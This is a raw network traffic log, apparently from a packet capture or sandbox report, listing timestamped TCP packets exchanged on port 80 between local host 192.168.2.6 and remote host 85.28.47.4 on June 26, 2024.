Jun 26, 2024 08:16:25.695426941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695436001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695446014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695455074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695461035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695471048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695513010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695513010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695627928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695636988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695651054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695658922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695667028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695683002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695689917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695693016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695693016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695698023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695707083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695722103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695729971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695760965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695765972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695765972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695770025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695779085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695786953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695800066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695802927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695811987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695821047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695828915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695837021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695847034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695847034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695852041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695862055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695869923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695877075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695889950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695889950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695894003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695904970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695920944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695924997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695929050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695938110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695947886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695949078 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695970058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.696057081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698056936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698066950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698082924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698091030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698122025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698142052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698194027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698201895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698210955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698219061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698227882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698242903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698251963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698266029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698266983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698266983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698276997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.698313951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.698313951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.701086998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.701143980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.701153994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.701169014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.701176882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.701208115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.701244116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.739628077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739715099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739722967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739834070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739835978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.739842892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739860058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739870071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.739909887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.739909887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.739947081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.782545090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782627106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782634974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782752037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.782841921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782885075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782893896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782902002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.782946110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783006907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783077002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783086061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783094883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783108950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783119917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783164024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783164024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783508062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783515930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783528090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783533096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783549070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783556938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783572912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783574104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783574104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783581972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783591032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783598900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.783603907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.783695936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.784250021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784257889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784271955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784280062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784287930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784302950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784312963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784321070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784328938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784332991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.784332991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.784337044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784347057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784348011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.784354925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784364939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.784394979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.784416914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785157919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785173893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785181999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785190105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785197973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785204887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785212040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785219908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785228014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785240889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785240889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785249949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785262108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785263062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785278082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785286903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785314083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785342932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785342932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.785980940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.785990000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786005020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786011934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786020041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786026955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786032915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786047935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786056042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786063910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786065102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786065102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786077023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786083937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786084890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786093950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786101103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786109924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786117077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786123991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786124945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786134958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786153078 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786176920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786176920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786874056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786883116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786890984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786906004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786914110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786927938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786936045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786945105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786959887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786959887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786959887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786968946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786982059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.786984921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.786994934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787002087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787015915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787031889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787033081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787040949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787049055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787053108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787084103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787094116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787884951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787894011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787902117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787909031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787916899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787925005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787940025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787946939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787955046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787970066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787970066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787970066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.787981987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.787997961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.788006067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.788022041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.788026094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.788026094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.788032055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.788048983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.788075924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.788075924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.788131952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.789258957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.789268970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.789344072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.796405077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796412945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796516895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.796658039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796727896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796736956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796776056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.796797037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.796947002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796956062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.796962976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.797014952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889458895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889494896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889511108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889563084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889605999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889652014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889667988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889684916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889700890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889741898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889741898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889781952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889883995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889899969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889923096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889939070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889944077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889944077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889955997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889971018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.889971972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.889995098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890007019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890007019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890028000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890114069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890244007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890259981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890275955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890319109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890372038 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890373945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890579939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890587091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890600920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890607119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890613079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890619040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890625000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890630960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890635014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890642881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890649080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890651941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890657902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890675068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890677929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890677929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890691996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890702009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890711069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890712976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890727043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.890749931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890749931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.890805006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891274929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891290903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891438007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891444921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891447067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891463041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891479015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891490936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891494036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891510963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891526937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891530037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891530037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891544104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891546011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891555071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891565084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891570091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891572952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891580105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891582012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891586065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891599894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891601086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.891652107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.891652107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892304897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892319918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892334938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892350912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892364979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892380953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892385006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892385006 CEST	49713	80	192.168.2.6	85.28.47.4
